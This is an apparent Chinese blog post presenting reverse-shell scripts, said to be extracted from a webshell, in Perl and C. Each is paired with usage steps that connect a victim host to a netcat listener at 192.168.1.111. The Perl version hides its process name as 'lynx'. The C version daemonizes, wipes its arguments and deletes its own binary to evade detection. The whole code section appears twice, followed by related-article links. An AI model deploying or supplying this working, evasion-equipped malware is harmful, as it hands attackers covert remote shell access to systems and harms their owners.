反弹 shell 脚本
2015-02-09 21:42
375 查看
从大马里面提取出来的,分别用perl 和 C实现 。
保存为reverse_exp,然后执行perl ./reverse_exp 192.168.1.111 13123。
在192.168.1.111 上执行 nc -v -l -p 13123
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
保存为 reverse_exp.c ,然后编译 gcc reverse_exp.c -o reverse_exp ,最后执行 ./reverse_exe 192.168.1.111 13123
同样在192.168.1.111 上执行 nc -v -l -p 13123
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in sin;
char rms[21]="rm -f ";
daemon(1,0);
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
sin.sin_addr.s_addr = inet_addr(argv[1]);
bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
perror("[-] connect()");
exit(0);
}
strcat(rms, argv[0]);
system(rms);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl("/bin/sh","sh -i", NULL);
close(fd);
}
保存为reverse_exp,然后执行perl ./reverse_exp 192.168.1.111 13123。
在192.168.1.111 上执行 nc -v -l -p 13123
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
保存为 reverse_exp.c ,然后编译 gcc reverse_exp.c -o reverse_exp ,最后执行 ./reverse_exe 192.168.1.111 13123
同样在192.168.1.111 上执行 nc -v -l -p 13123
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in sin;
char rms[21]="rm -f ";
daemon(1,0);
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
sin.sin_addr.s_addr = inet_addr(argv[1]);
bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
perror("[-] connect()");
exit(0);
}
strcat(rms, argv[0]);
system(rms);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl("/bin/sh","sh -i", NULL);
close(fd);
}
相关文章推荐
- 如何DIY一个简单的反弹Shell脚本
- shell脚本实现批量自动redis反弹shell攻击
- PHP反弹Cmd/Shell 脚本
- Makefile与shell脚本区别
- shell脚本加密+使用shc提高Shell脚本的安全性
- Bash shell脚本练习(一)
- 通过Shell数组传参控制Sql脚本串并行调度一例
- Shell脚本
- shell启动服务脚本
- Shell脚本调试技术 (转载)
- shell脚本中使用了管道符,导致变量赋值丢失的原因
- shell脚本中echo带颜色输出
- shell启动服务脚本
- Shell脚本学习——[以文件之名]
- shell脚本实现冒泡排序 分类: 学习笔记 linux ubuntu 2015-07-10 14:16 79人阅读 评论(0) 收藏
- centos6.5环境通过shell脚本备份php的web及mysql数据库并做远程备份容灾
- shell脚本:实现MySQL创建数据库和删除数据库的脚本
- 我常用的主机监控shell脚本
- Shell中获取脚本所在目录绝对路径的方法
- shell脚本实现程序重启